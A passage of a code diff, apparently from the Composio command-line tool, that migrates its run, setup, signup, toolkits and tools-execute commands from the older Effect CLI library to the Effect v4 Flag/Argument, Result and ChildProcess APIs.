5 -import * as FileSystem from '@effect/platform/FileSystem';
6 -import * as Path from '@effect/platform/Path';
7 -import { Data, Deferred, Duration, Effect, Either, MutableRef, Option } from 'effect';
2 +import { Argument, Command, Flag } from 'effect/unstable/cli';
3 +import * as FileSystem from 'effect/FileSystem';
4 +import * as Path from 'effect/Path';
5 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
6 +import { Context, Data, Deferred, Duration, Effect, MutableRef, Option, Result } from 'effect';
7 import { ts } from 'ts-morph';
8 import { APP_VERSION } from 'src/constants';
9 import { APP_CONFIG, UNPREFIXED_CONFIG } from 'src/effects/app-config';
@@ -35,43 +34,77 @@ import { loadHostConfig } from 'src/services/config';
34 import { resolveCliConfigPath } from 'src/services/cli-user-config';
35 import { NodeOs } from 'src/services/node-os';
36
38 -const file = Options.text('file').pipe(
39 - Options.withAlias('f'),
40 - Options.withDescription('Run a TS/JS file instead of inline code'),
41 - Options.optional
37 +const file = Flag.string('file').pipe(
38 + Flag.withAlias('f'),
39 + Flag.withDescription('Run a TS/JS file instead of inline code'),
40 + Flag.optional
41 );
42
44 -const dryRun = Options.boolean('dry-run').pipe(
45 - Options.withDescription('Preview execute() calls without running them'),
46 - Options.withDefault(false)
43 +const dryRun = Flag.boolean('dry-run').pipe(
44 + Flag.withDescription('Preview execute() calls without running them'),
45 + Flag.withDefault(false)
46 );
48 -const debug = Options.boolean('debug').pipe(
49 - Options.withDescription('Log helper steps while the script runs'),
50 - Options.withDefault(false)
47 +const debug = Flag.boolean('debug').pipe(
48 + Flag.withDescription('Log helper steps while the script runs'),
49 + Flag.withDefault(false)
50 );
52 -const logsOff = Options.boolean('logs-off').pipe(
53 - Options.withDescription('Hide helper streaming logs; keep them only in the run log file.'),
54 - Options.withDefault(false)
51 +const logsOff = Flag.boolean('logs-off').pipe(
52 + Flag.withDescription('Hide helper streaming logs; keep them only in the run log file.'),
53 + Flag.withDefault(false)
54 );
56 -const skipConnectionCheck = Options.boolean('skip-connection-check').pipe(
57 - Options.withDescription('Skip the connected-account check'),
58 - Options.withDefault(false)
55 +const skipConnectionCheck = Flag.boolean('skip-connection-check').pipe(
56 + Flag.withDescription('Skip the connected-account check'),
57 + Flag.withDefault(false)
58 );
60 -const skipToolParamsCheck = Options.boolean('skip-tool-params-check').pipe(
61 - Options.withDescription('Skip input validation against cached schema'),
62 - Options.withDefault(false)
59 +const skipToolParamsCheck = Flag.boolean('skip-tool-params-check').pipe(
60 + Flag.withDescription('Skip input validation against cached schema'),
61 + Flag.withDefault(false)
62 );
64 -const skipChecks = Options.boolean('skip-checks').pipe(
65 - Options.withDescription('Skip both connection and input validation checks'),
66 - Options.withDefault(false)
63 +const skipChecks = Flag.boolean('skip-checks').pipe(
64 + Flag.withDescription('Skip both connection and input validation checks'),
65 + Flag.withDefault(false)
66 );
67
69 -const args = Args.repeated(Args.text({ name: 'arg' })).pipe(
70 - Args.withDescription('Inline code followed by arguments, or just arguments when using --file')
68 +/**
69 + * Flag surface of the `run` command as raw argv tokens, consumed by
70 + * `commands/index.ts`'s passthrough normalizer. Kept adjacent to the `Flag`
71 + * definitions above: adding, renaming, or aliasing a `run` flag MUST update
72 + * these sets, or the normalizer will demote the new flag (and everything
73 + * after it) to passthrough script arguments.
74 + */
75 +export const RUN_KNOWN_BOOLEAN_FLAGS: ReadonlySet<string> = new Set([
76 + '--dry-run',
77 + '--debug',
78 + '--logs-off',
79 + '--skip-connection-check',
80 + '--skip-tool-params-check',
81 + '--skip-checks',
82 + '--help',
83 + '-h',
84 +]);
85 +export const RUN_KNOWN_VALUE_FLAGS: ReadonlySet<string> = new Set(['--file', '-f']);
86 +
87 +const args = Argument.string('arg').pipe(
88 + Argument.variadic(),
89 + Argument.withDescription('Inline code followed by arguments, or just arguments when using --file')
90 );
91
92 const withArgDelimiter = (args: ReadonlyArray<string>) => (args.length > 0 ? ['--', ...args] : []);
93
94 +/**
95 + * Out-of-band passthrough tail for `run`'s script arguments. See
96 + * `splitRunPassthroughArgs` in `src/commands/index.ts` for the full
97 + * mechanism this exists for (lexer/parser facts + the handoff); that
98 + * function provides this reference for the scope of a single CLI
99 + * invocation. `undefined` here means no front door provided it (direct
100 + * programmatic/test invocations of this command), so the handler below
101 + * falls back to the parsed `Argument.variadic()` value.
102 + */
103 +export const RunPassthroughArgs = Context.Reference<ReadonlyArray<string> | undefined>(
104 + 'composio/cli/run/RunPassthroughArgs',
105 + { defaultValue: () => undefined }
106 +);
107 +
108 export const extractInlineExecuteToolSlugs = (source: string): ReadonlyArray<string> => {
109 if (!source.trim()) {
110 return [];
@@ -413,15 +446,15 @@ class ChildSignalError extends Data.TaggedError('ChildSignalError')<{
446 /**
447 * Sends `signal` to the child's process group and reports whether it was delivered.
448 *
416 - * The @effect/platform executor spawns with `detached: true` on POSIX, so the script leads its
449 + * The `effect/unstable/process` spawner spawns with `detached: true` on POSIX, so the script leads its
450 * own process group and a negative pid is what reaches it (and anything it spawned). Delivery
451 * fails with ESRCH when the group is already gone, which is a normal race, not a run failure.
452 */
453 const signalChildProcessGroup = (pid: number, signal: ForwardedSignal): boolean =>
421 - Either.try({
454 + Result.try({
455 try: () => process.kill(-pid, signal),
456 catch: cause => new ChildSignalError({ pid, signal, cause }),
424 - }).pipe(Either.getOrElse(() => false));
457 + }).pipe(Result.getOrElse(() => false));
458
459 /**
460 * Waits for the script to exit, giving up after `duration`.
@@ -431,12 +464,15 @@ const signalChildProcessGroup = (pid: number, signal: ForwardedSignal): boolean
464 * interrupted along with it — leaving the wait hanging until the script exits on its own.
465 * Daemon fibers are detached from the interrupted fiber, so their deadline still fires.
466 */
434 -const awaitChildExitWithin = (child: CommandExecutor.Process, duration: Duration.Duration) =>
467 +const awaitChildExitWithin = (
468 + child: ChildProcessSpawner.ChildProcessHandle,
469 + duration: Duration.Duration
470 +) =>
471 Effect.gen(function* () {
472 const settled = yield* Deferred.make<void>();
473 const complete = Deferred.succeed(settled, undefined);
438 - yield* Effect.forkDaemon(Effect.zipRight(Effect.ignore(child.exitCode), complete));
439 - yield* Effect.forkDaemon(Effect.zipRight(Effect.sleep(duration), complete));
474 + yield* Effect.forkDetach(Effect.andThen(Effect.ignore(child.exitCode), complete));
475 + yield* Effect.forkDetach(Effect.andThen(Effect.sleep(duration), complete));
476 yield* Deferred.await(settled);
477 });
478
@@ -448,7 +484,7 @@ const awaitChildExitWithin = (child: CommandExecutor.Process, duration: Duration
484 * only as the executor's SIGTERM. Handlers are registered and removed with the scope so they
485 * never leak into a later run.
486 */
451 -const forwardSignalsToChild = (child: CommandExecutor.Process) =>
487 +const forwardSignalsToChild = (child: ChildProcessSpawner.ChildProcessHandle) =>
488 Effect.gen(function* () {
489 const os = yield* NodeOs;
490 // Windows has no process groups and the executor does not detach there.
@@ -477,7 +513,7 @@ const forwardSignalsToChild = (child: CommandExecutor.Process) =>
513 process.removeListener(signal, listener);
514 }
515 }).pipe(
480 - Effect.zipRight(
516 + Effect.andThen(
517 MutableRef.get(forwarded)
518 ? awaitChildExitWithin(child, CHILD_SIGNAL_GRACE_PERIOD)
519 : Effect.void
@@ -559,9 +595,11 @@ export const runCmd = Command.make('run', {
595 skipConnectionCheck,
596 skipToolParamsCheck,
597 skipChecks,
562 - args,
598 + args: rawArgs,
599 }) =>
600 Effect.gen(function* () {
601 + const passthroughTail = yield* RunPassthroughArgs;
602 + const args = passthroughTail ?? rawArgs;
603 // Checked before any setup work so a bare `composio run` neither creates a run-artifacts
604 // directory nor advertises a log file for a script that will never start.
605 if (Option.isNone(file) && !args[0]) {
@@ -586,8 +624,8 @@ export const runCmd = Command.make('run', {
624 const preloadSlugs = extractInlineExecuteToolSlugs(inlineCode ?? '');
625 if (preloadSlugs.length > 0) {
626 yield* warmToolInputDefinitions(preloadSlugs).pipe(
589 - Effect.catchAll(() => Effect.void),
590 - Effect.forkDaemon
627 + Effect.catch(() => Effect.void),
628 + Effect.forkDetach
629 );
630 }
631 }
@@ -633,7 +671,7 @@ export const runCmd = Command.make('run', {
671 args,
672 debug,
673 },
636 - }).pipe(Effect.catchAll(() => Effect.void));
674 + }).pipe(Effect.catch(() => Effect.void));
675 yield* ui.error(`RUN_LOG_FILE=${preload.runLogFilePath}`);
676 const runCommand = yield* buildRunCommand({
677 path,
@@ -644,19 +682,19 @@ export const runCmd = Command.make('run', {
682 });
683 const exitCode = yield* Effect.gen(function* () {
684 const [executable, ...commandArgs] = runCommand.cmd;
647 - const command = PlatformCommand.make(executable, ...commandArgs).pipe(
648 - PlatformCommand.env({
685 + // Spawning the command (instead of running it to completion) yields the handle whose
686 + // pid the signal forwarding below needs. `extendEnv` keeps the caller's environment.
687 + const child = yield* ChildProcess.make(executable!, commandArgs, {
688 + env: {
689 BUN_BE_BUN: '1',
690 COMPOSIO_CLI_PARENT_RUN_ID: runId,
691 ...debugFlagsToChildEnv({ perfDebug, toolDebug, acpOnly, telemetryDebug }),
652 - }),
653 - PlatformCommand.stdin('inherit'),
654 - PlatformCommand.stdout('inherit'),
655 - PlatformCommand.stderr('inherit')
656 - );
657 - // Start the process instead of running it to completion: only a started process
658 - // exposes the pid the signal forwarding below needs.
659 - const child = yield* PlatformCommand.start(command);
692 + },
693 + extendEnv: true,
694 + stdin: 'inherit',
695 + stdout: 'inherit',
696 + stderr: 'inherit',
697 + });
698 yield* forwardSignalsToChild(child);
699 return Number(yield* child.exitCode);
700 }).pipe(
ts/packages/cli/src/commands/setup.cmd.ts
+17 -16
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Predicate } from 'effect';
3 import { trackCliEventEffect } from 'src/analytics/dispatch';
4 import {
@@ -23,25 +23,25 @@ import { TerminalUI } from 'src/services/terminal-ui';
23 import { SetupSkillInstaller } from 'src/services/setup-skill-installer';
24 import { cliInvocationContext } from 'src/services/runtime-cli-context';
25
26 -const target = Options.choice('target', SETUP_TARGETS).pipe(
27 - Options.withDefault('auto'),
28 - Options.withDescription('Agent host to configure: auto, claude, codex, or all')
26 +const target = Flag.choice('target', SETUP_TARGETS).pipe(
27 + Flag.withDefault('auto'),
28 + Flag.withDescription('Agent host to configure: auto, claude, codex, or all')
29 );
30
31 -const yes = Options.boolean('yes').pipe(
32 - Options.withAlias('y'),
33 - Options.withDefault(false),
34 - Options.withDescription('Accept setup changes without prompting')
31 +const yes = Flag.boolean('yes').pipe(
32 + Flag.withAlias('y'),
33 + Flag.withDefault(false),
34 + Flag.withDescription('Accept setup changes without prompting')
35 );
36
37 -const ifPresent = Options.boolean('if-present').pipe(
38 - Options.withDefault(false),
39 - Options.withDescription('Exit successfully when automatic detection finds no supported host')
37 +const ifPresent = Flag.boolean('if-present').pipe(
38 + Flag.withDefault(false),
39 + Flag.withDescription('Exit successfully when automatic detection finds no supported host')
40 );
41
42 -const uninstall = Options.boolean('uninstall').pipe(
43 - Options.withDefault(false),
44 - Options.withDescription('Uninstall Composio plugins instead of installing them')
42 +const uninstall = Flag.boolean('uninstall').pipe(
43 + Flag.withDefault(false),
44 + Flag.withDescription('Uninstall Composio plugins instead of installing them')
45 );
46
47 const formatTargets = (targets: ReadonlyArray<AgentHost>): string =>
@@ -270,8 +270,9 @@ const setupBaseCmd = Command.make(
270
271 const initial = pending.find(status => status.target === result.target);
272 if (!initial) {
273 - return yield* Effect.dieMessage(
274 - `Setup invariant violated: missing initial state for ${result.target}`
273 + // v4 dropped `Effect.dieMessage`; `Effect.die` takes the defect directly.
274 + return yield* Effect.die(
275 + new Error(`Setup invariant violated: missing initial state for ${result.target}`)
276 );
277 }
278 let action = 'configured and enabled';
ts/packages/cli/src/commands/signup.cmd.ts
+11 -13
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect } from 'effect';
3 import { handleAgentAuthError } from 'src/effects/handle-agent-auth-error';
4 import {
@@ -10,22 +10,20 @@ import {
10 } from 'src/services/agents';
11 import { TerminalUI } from 'src/services/terminal-ui';
12
13 -const noWait = Options.boolean('no-wait').pipe(
14 - Options.withDefault(false),
15 - Options.withDescription('Start agent signup and exit without waiting for credentials')
13 +const noWait = Flag.boolean('no-wait').pipe(
14 + Flag.withDefault(false),
15 + Flag.withDescription('Start agent signup and exit without waiting for credentials')
16 );
17
18 -const noLogin = Options.boolean('no-login').pipe(
19 - Options.withDefault(false),
20 - Options.withDescription('Create or verify the agent identity without logging the CLI in')
18 +const noLogin = Flag.boolean('no-login').pipe(
19 + Flag.withDefault(false),
20 + Flag.withDescription('Create or verify the agent identity without logging the CLI in')
21 );
22
23 -const force = Options.boolean('force').pipe(
24 - Options.withAlias('f'),
25 - Options.withDefault(false),
26 - Options.withDescription(
27 - 'Create a new agent identity even if ~/.composio/agent.json already exists'
28 - )
23 +const force = Flag.boolean('force').pipe(
24 + Flag.withAlias('f'),
25 + Flag.withDefault(false),
26 + Flag.withDescription('Create a new agent identity even if ~/.composio/agent.json already exists')
27 );
28
29 export const runAgentSignup = (params: {
ts/packages/cli/src/commands/toolkits/commands/toolkits.info.cmd.ts
+13 -13
@@ -1,4 +1,4 @@
1 -import { Args, Command, Options } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { Data, Effect, Option } from 'effect';
3 import { ComposioClientSingleton, ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -14,22 +14,22 @@ class ToolkitsInfoRequestError extends Data.TaggedError('commands/ToolkitsInfoRe
14 readonly cause: unknown;
15 }> {}
16
17 -const slug = Args.text({ name: 'slug' }).pipe(
18 - Args.withDescription('Toolkit slug (e.g. "gmail")'),
19 - Args.optional
17 +const slug = Argument.string('slug').pipe(
18 + Argument.withDescription('Toolkit slug (e.g. "gmail")'),
19 + Argument.optional
20 );
21
22 -const userId = Options.text('user-id').pipe(
23 - Options.optional,
24 - Options.withDescription(
22 +const userId = Flag.string('user-id').pipe(
23 + Flag.optional,
24 + Flag.withDescription(
25 'User ID for connection status (falls back to project/global test_user_id, then "default")'
26 )
27 );
28
29 -const allDetails = Options.boolean('all').pipe(
30 - Options.withAlias('a'),
31 - Options.withDefault(false),
32 - Options.withDescription('Show all available toolkit details, including auth config fields')
29 +const allDetails = Flag.boolean('all').pipe(
30 + Flag.withAlias('a'),
31 + Flag.withDefault(false),
32 + Flag.withDescription('Show all available toolkit details, including auth config fields')
33 );
34
35 /**
@@ -124,7 +124,7 @@ export const toolkitsCmd$Info = Command.make(
124 )
125 .pipe(
126 Effect.asSome,
127 - Effect.catchAll(error =>
127 + Effect.catch(error =>
128 Effect.gen(function* () {
129 const message = extractMessage(error) ?? `Failed to fetch toolkit "${slugValue}".`;
130 yield* ui.log.error(message);
@@ -154,7 +154,7 @@ export const toolkitsCmd$Info = Command.make(
154 command: `> composio dev toolkits info "${s.slug}"`,
155 }))
156 ),
157 - Effect.catchAll(() => Effect.succeed([] as { label: string; command: string }[]))
157 + Effect.catch(() => Effect.succeed([] as { label: string; command: string }[]))
158 );
159
160 const [first] = suggestions;
ts/packages/cli/src/commands/toolkits/commands/toolkits.list.cmd.ts
+15 -17
@@ -1,5 +1,5 @@
1 import process from 'node:process';
2 -import { Command, Options } from '@effect/cli';
2 +import { Command, Flag } from 'effect/unstable/cli';
3 import { Data, Effect, Option } from 'effect';
4 import { TerminalUI } from 'src/services/terminal-ui';
5 import { requireAuth } from 'src/effects/require-auth';
@@ -16,26 +16,24 @@ class ToolkitsListRequestError extends Data.TaggedError('commands/ToolkitsListRe
16 readonly cause: unknown;
17 }> {}
18
19 -const query = Options.text('query').pipe(
20 - Options.withDescription('Text search by name, slug, or description'),
21 - Options.optional
19 +const query = Flag.string('query').pipe(
20 + Flag.withDescription('Text search by name, slug, or description'),
21 + Flag.optional
22 );
23
24 -const limit = Options.integer('limit').pipe(
25 - Options.withDefault(30),
26 - Options.withDescription('Number of results per page (1-1000)')
24 +const limit = Flag.integer('limit').pipe(
25 + Flag.withDefault(30),
26 + Flag.withDescription('Number of results per page (1-1000)')
27 );
28
29 -const connected = Options.boolean('connected').pipe(
30 - Options.withDescription('Filter to connected toolkits only'),
31 - Options.optional
29 +const connected = Flag.boolean('connected').pipe(
30 + Flag.withDescription('Filter to connected toolkits only'),
31 + Flag.optional
32 );
33
34 -const userId = Options.text('user-id').pipe(
35 - Options.optional,
36 - Options.withDescription(
37 - 'User ID for connection status (falls back to project/global test_user_id)'
38 - )
34 +const userId = Flag.string('user-id').pipe(
35 + Flag.optional,
36 + Flag.withDescription('User ID for connection status (falls back to project/global test_user_id)')
37 );
38
39 /**
@@ -105,7 +103,7 @@ export const toolkitsCmd$List = Command.make(
103 const client = yield* clientSingleton.get();
104 return yield* resolveToolRouterSession(client, resolvedUserId.value);
105 }).pipe(
108 - Effect.catchAll(error =>
106 + Effect.catch(error =>
107 Effect.logDebug('Failed to create session:', error).pipe(Effect.as(undefined))
108 )
109 )
@@ -194,7 +192,7 @@ export const toolkitsCmd$List = Command.make(
192 }
193 yield* ui.output(formatToolkitsJson(unified));
194 }).pipe(
197 - Effect.catchAll(error =>
195 + Effect.catch(error =>
196 Effect.gen(function* () {
197 const ui = yield* TerminalUI;
198 yield* ui.log.error(
ts/packages/cli/src/commands/toolkits/commands/toolkits.search.cmd.ts
+7 -7
@@ -1,5 +1,5 @@
1 import process from 'node:process';
2 -import { Args, Command, Options } from '@effect/cli';
2 +import { Argument, Command, Flag } from 'effect/unstable/cli';
3 import { Effect } from 'effect';
4 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
5 import { TerminalUI } from 'src/services/terminal-ui';
@@ -8,13 +8,13 @@ import { clampLimit } from 'src/ui/clamp-limit';
8 import { extractMessage } from 'src/utils/api-error-extraction';
9 import { mergeToolkitData, formatToolkitsTable, formatToolkitsJson } from '../format';
10
11 -const query = Args.text({ name: 'query' }).pipe(
12 - Args.withDescription('Search query (e.g. "send emails")')
11 +const query = Argument.string('query').pipe(
12 + Argument.withDescription('Search query (e.g. "send emails")')
13 );
14
15 -const limit = Options.integer('limit').pipe(
16 - Options.withDefault(10),
17 - Options.withDescription('Number of results per page (1-1000)')
15 +const limit = Flag.integer('limit').pipe(
16 + Flag.withDefault(10),
17 + Flag.withDescription('Number of results per page (1-1000)')
18 );
19
20 // TODO(tool-router-migration): migrate to Tool Router when the session toolkits endpoint
@@ -64,7 +64,7 @@ export const toolkitsCmd$Search = Command.make('search', { query, limit }, ({ qu
64
65 yield* ui.output(formatToolkitsJson(unified));
66 }).pipe(
67 - Effect.catchAll(error =>
67 + Effect.catch(error =>
68 Effect.gen(function* () {
69 const ui = yield* TerminalUI;
70 yield* ui.log.error(extractMessage(error) ?? 'An error occurred while searching toolkits.');
ts/packages/cli/src/commands/toolkits/commands/toolkits.version.cmd.ts
+3 -3
@@ -1,11 +1,11 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { ComposioClientSingleton } from 'src/services/composio-clients';
5 import { TerminalUI } from 'src/services/terminal-ui';
6 import { extractMessage } from 'src/utils/api-error-extraction';
7
8 -const slug = Args.text({ name: 'slug' }).pipe(Args.withDescription('Toolkit slug (e.g. "gmail")'));
8 +const slug = Argument.string('slug').pipe(Argument.withDescription('Toolkit slug (e.g. "gmail")'));
9
10 /**
11 * Show toolkit version information.
@@ -32,7 +32,7 @@ export const toolkitsCmd$Version = Command.make('version', { slug }, ({ slug })
32 )
33 .pipe(
34 Effect.asSome,
35 - Effect.catchAll(error =>
35 + Effect.catch(error =>
36 Effect.gen(function* () {
37 const message =
38 extractMessage(error) ?? `Failed to fetch version info for toolkit "${slug}".`;
ts/packages/cli/src/commands/toolkits/toolkits.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { toolkitsCmd$List } from './commands/toolkits.list.cmd';
3 import { toolkitsCmd$Info } from './commands/toolkits.info.cmd';
4 import { toolkitsCmd$Search } from './commands/toolkits.search.cmd';
ts/packages/cli/src/commands/tools/commands/tools.execute.cmd.ts
+82 -70
@@ -1,10 +1,10 @@
1 -import { Args, Command, HelpDoc, Options, ValidationError } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { isLocalToolSlug } from '@composio/cli-local-tools';
3 import util from 'node:util';
4 -import { Cause, Data, Effect, Either, Exit, Fiber, HashSet, Option, Predicate } from 'effect';
4 +import { Cause, Data, Effect, Exit, Fiber, HashSet, Option, Result } from 'effect';
5 import { encodingForModel } from 'js-tiktoken';
6 import { redact } from 'src/ui/redact';
7 -import { parseJsonRecord } from 'src/utils/parse-json';
7 +import { parseJsonRecord, isPlainRecord } from 'src/utils/parse-json';
8 import { toolkitFromToolSlug } from 'src/effects/toolkit-from-tool-slug';
9 import { requireAuth } from 'src/effects/require-auth';
10 import { resolveOptionalTextInput } from 'src/effects/resolve-optional-text-input';
@@ -66,24 +66,24 @@ import { ComposioCliUserConfig } from 'src/services/cli-user-config';
66 import { CLI_EXPERIMENTAL_FEATURES } from 'src/constants';
67 import { APP_CONFIG } from 'src/effects/app-config';
68
69 -const slug = Args.text({ name: 'slug' }).pipe(
70 - Args.withDescription('Tool slug (e.g. "GITHUB_CREATE_ISSUE")')
69 +const slug = Argument.string('slug').pipe(
70 + Argument.withDescription('Tool slug (e.g. "GITHUB_CREATE_ISSUE")')
71 );
72
73 -const data = Options.text('data').pipe(
74 - Options.withAlias('d'),
75 - Options.withDescription('JSON arguments, @file, or - for stdin'),
76 - Options.optional
73 +const data = Flag.string('data').pipe(
74 + Flag.withAlias('d'),
75 + Flag.withDescription('JSON arguments, @file, or - for stdin'),
76 + Flag.optional
77 );
78 -const file = Options.text('file').pipe(
79 - Options.withDescription('Inject a local file path into the single file_uploadable input'),
80 - Options.optional
78 +const file = Flag.string('file').pipe(
79 + Flag.withDescription('Inject a local file path into the single file_uploadable input'),
80 + Flag.optional
81 );
82 -const accountOption = Options.text('account').pipe(
83 - Options.withDescription(
82 +const accountOption = Flag.string('account').pipe(
83 + Flag.withDescription(
84 'Connected account selector for the inferred toolkit. Matches alias, word_id, or connected account id.'
85 ),
86 - Options.optional
86 + Flag.optional
87 );
88
89 export const TOOLS_EXECUTE_VALUE_OPTIONS = HashSet.make(
@@ -95,35 +95,35 @@ export const TOOLS_EXECUTE_VALUE_OPTIONS = HashSet.make(
95 '--project-name'
96 );
97
98 -const userId = Options.text('user-id').pipe(
99 - Options.optional,
100 - Options.withDescription('Developer-project user ID override')
98 +const userId = Flag.string('user-id').pipe(
99 + Flag.optional,
100 + Flag.withDescription('Developer-project user ID override')
101 );
102
103 -const projectName = Options.text('project-name').pipe(
104 - Options.optional,
105 - Options.withDescription('Developer project name override for this command')
103 +const projectName = Flag.string('project-name').pipe(
104 + Flag.optional,
105 + Flag.withDescription('Developer project name override for this command')
106 );
107
108 -const getSchema = Options.boolean('get-schema').pipe(
109 - Options.withDescription('Fetch and print the CLI-facing input schema without executing'),
110 - Options.withDefault(false)
108 +const getSchema = Flag.boolean('get-schema').pipe(
109 + Flag.withDescription('Fetch and print the CLI-facing input schema without executing'),
110 + Flag.withDefault(false)
111 );
112 -const dryRun = Options.boolean('dry-run').pipe(
113 - Options.withDescription('Validate and preview the tool call without executing'),
114 - Options.withDefault(false)
112 +const dryRun = Flag.boolean('dry-run').pipe(
113 + Flag.withDescription('Validate and preview the tool call without executing'),
114 + Flag.withDefault(false)
115 );
116 -const skipConnectionCheck = Options.boolean('skip-connection-check').pipe(
117 - Options.withDescription('Skip the connected-account check'),
118 - Options.withDefault(false)
116 +const skipConnectionCheck = Flag.boolean('skip-connection-check').pipe(
117 + Flag.withDescription('Skip the connected-account check'),
118 + Flag.withDefault(false)
119 );
120 -const skipToolParamsCheck = Options.boolean('skip-tool-params-check').pipe(
121 - Options.withDescription('Skip input validation against cached schema'),
122 - Options.withDefault(false)
120 +const skipToolParamsCheck = Flag.boolean('skip-tool-params-check').pipe(
121 + Flag.withDescription('Skip input validation against cached schema'),
122 + Flag.withDefault(false)
123 );
124 -const skipChecks = Options.boolean('skip-checks').pipe(
125 - Options.withDescription('Skip both connection and input validation checks'),
126 - Options.withDefault(false)
124 +const skipChecks = Flag.boolean('skip-checks').pipe(
125 + Flag.withDescription('Skip both connection and input validation checks'),
126 + Flag.withDefault(false)
127 );
128
129 const resolveInput = (input: Option.Option<string>) =>
@@ -132,7 +132,19 @@ const resolveInput = (input: Option.Option<string>) =>
132 missingValue: '{}',
133 });
134
135 -const invalidArguments = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
135 +/**
136 + * Business-error type for the hand-rolled `--parallel` mini-parser
137 + * (`parseParallelExecuteArgs` below), not a `Command`-level parse failure —
138 + * v4's `CliError.InvalidValue` requires structured `option`/`kind` fields
139 + * that don't fit this free-text validation.
140 + */
141 +export class ParallelExecuteArgumentError extends Data.TaggedError(
142 + 'commands/ParallelExecuteArgumentError'
143 +)<{
144 + readonly message: string;
145 +}> {}
146 +
147 +const invalidArguments = (message: string) => new ParallelExecuteArgumentError({ message });
148
149 type ToolExecutionErrorFields = {
150 readonly reason:
@@ -158,12 +170,14 @@ class ReportedToolExecutionError extends Data.TaggedError(
170 )<ToolExecutionErrorFields> {}
171
172 const parseArguments = (raw: string) =>
161 - parseJsonRecord(raw).pipe(
162 - Either.mapLeft(error =>
163 - invalidArguments(
164 - error.reason === 'not-a-record'
165 - ? 'Expected a JSON object for tool arguments, e.g. -d \'{ "key": "value" }\''
166 - : 'Invalid JSON input. Provide JSON or a JS-style object literal, e.g. -d \'{ "key": "value" }\''
173 + Effect.fromResult(
174 + parseJsonRecord(raw).pipe(
175 + Result.mapError(error =>
176 + invalidArguments(
177 + error.reason === 'not-a-record'
178 + ? 'Expected a JSON object for tool arguments, e.g. -d \'{ "key": "value" }\''
179 + : 'Invalid JSON input. Provide JSON or a JS-style object literal, e.g. -d \'{ "key": "value" }\''
180 + )
181 )
182 )
183 );
@@ -174,7 +188,7 @@ const hasNestedKey = (
188 ): boolean => {
189 let current: unknown = record;
190 for (const key of pathParts) {
177 - if (!Predicate.isRecord(current)) {
191 + if (!isPlainRecord(current)) {
192 return false;
193 }
194 if (!(key in current)) {
@@ -202,7 +216,7 @@ const setNestedKey = (
216 }
217
218 const next = current[key];
205 - const nextObject = Predicate.isRecord(next) ? { ...next } : {};
219 + const nextObject = isPlainRecord(next) ? { ...next } : {};
220 current[key] = nextObject;
221 current = nextObject;
222 }
@@ -287,8 +301,8 @@ const ciRedactReplacer = (_key: string, value: unknown): unknown => {
301 // payloads; fall back to util.inspect so the formatter stays a plain string
302 // function for its callers.
303 const formatUnknownObject = (value: object): string =>
290 - Either.getOrElse(
291 - Either.try(() => JSON.stringify(value, null, 2)),
304 + Result.getOrElse(
305 + Result.try(() => JSON.stringify(value, null, 2)),
306 () => util.inspect(value, { depth: 5, breakLength: 120 })
307 );
308
@@ -296,7 +310,7 @@ const redactRequestId = (value: object): object => {
310 if (!value || typeof value !== 'object' || Array.isArray(value)) {
311 return value;
312 }
299 - if (!Predicate.isRecord(value)) return value;
313 + if (!isPlainRecord(value)) return value;
314 const requestId = value.request_id;
315 if (typeof requestId !== 'string') {
316 return value;
@@ -752,13 +766,13 @@ type CachedDefinition = {
766 readonly version: string | null;
767 } | null;
768
755 -const validationGuardFromFiber = (validationFiber: Fiber.RuntimeFiber<unknown, unknown>) =>
769 +const validationGuardFromFiber = (validationFiber: Fiber.Fiber<unknown, unknown>) =>
770 Fiber.await(validationFiber).pipe(
771 Effect.flatMap(
772 Exit.match({
773 onFailure: cause => {
760 - const defect = Cause.failureOption(cause);
761 - if (Option.isSome(defect) && defect.value instanceof ToolInputValidationError) {
774 + const fail = Cause.findFail(cause);
775 + if (Result.isSuccess(fail) && fail.success.error instanceof ToolInputValidationError) {
776 return Effect.failCause(cause);
777 }
778 return Effect.never;
@@ -781,7 +795,7 @@ const spawnBackgroundValidationGuard = (params: {
795 const validationFiber = yield* validateToolInputArguments(params.slug, params.args, {
796 orgId: params.resolvedProject.orgId,
797 projectId: params.resolvedProject.projectId,
784 - }).pipe(Effect.forkDaemon);
798 + }).pipe(Effect.forkDetach);
799 yield* perfDebugLog('execute.validation.background_spawned', { slug: params.slug });
800 return validationGuardFromFiber(validationFiber);
801 });
@@ -827,7 +841,7 @@ const initializeValidationState = (params: {
841 })
842 ),
843 Effect.option,
830 - Effect.forkDaemon
844 + Effect.forkDetach
845 );
846 const cachedValidationDecisionFiber = yield* Effect.gen(function* () {
847 yield* perfDebugLog('execute.validation.cached_start', { slug: params.slug });
@@ -858,7 +872,7 @@ const initializeValidationState = (params: {
872 return isStale
873 ? ({ status: 'stale' } satisfies CachedValidationDecision)
874 : validationDecision;
861 - }).pipe(Effect.forkDaemon);
875 + }).pipe(Effect.forkDetach);
876 const awaitCachedValidationDecision = Fiber.join(cachedValidationDecisionFiber);
877
878 return {
@@ -1040,12 +1054,12 @@ const resolveExecuteContext = (params: RunToolsExecuteParams) =>
1054 const projectContext = yield* ProjectContext;
1055
1056 const localProjectContext = yield* projectContext.resolve.pipe(
1043 - Effect.catchAll(() => Effect.succeed(Option.none()))
1057 + Effect.catch(() => Effect.succeed(Option.none()))
1058 );
1059 const localTestUserId = Option.flatMap(localProjectContext, keys => keys.testUserId);
1060 const resolvedUserId =
1061 resolvedProject.projectType === 'CONSUMER'
1048 - ? Option.fromNullable(resolvedProject.consumerUserId)
1062 + ? Option.fromNullishOr(resolvedProject.consumerUserId)
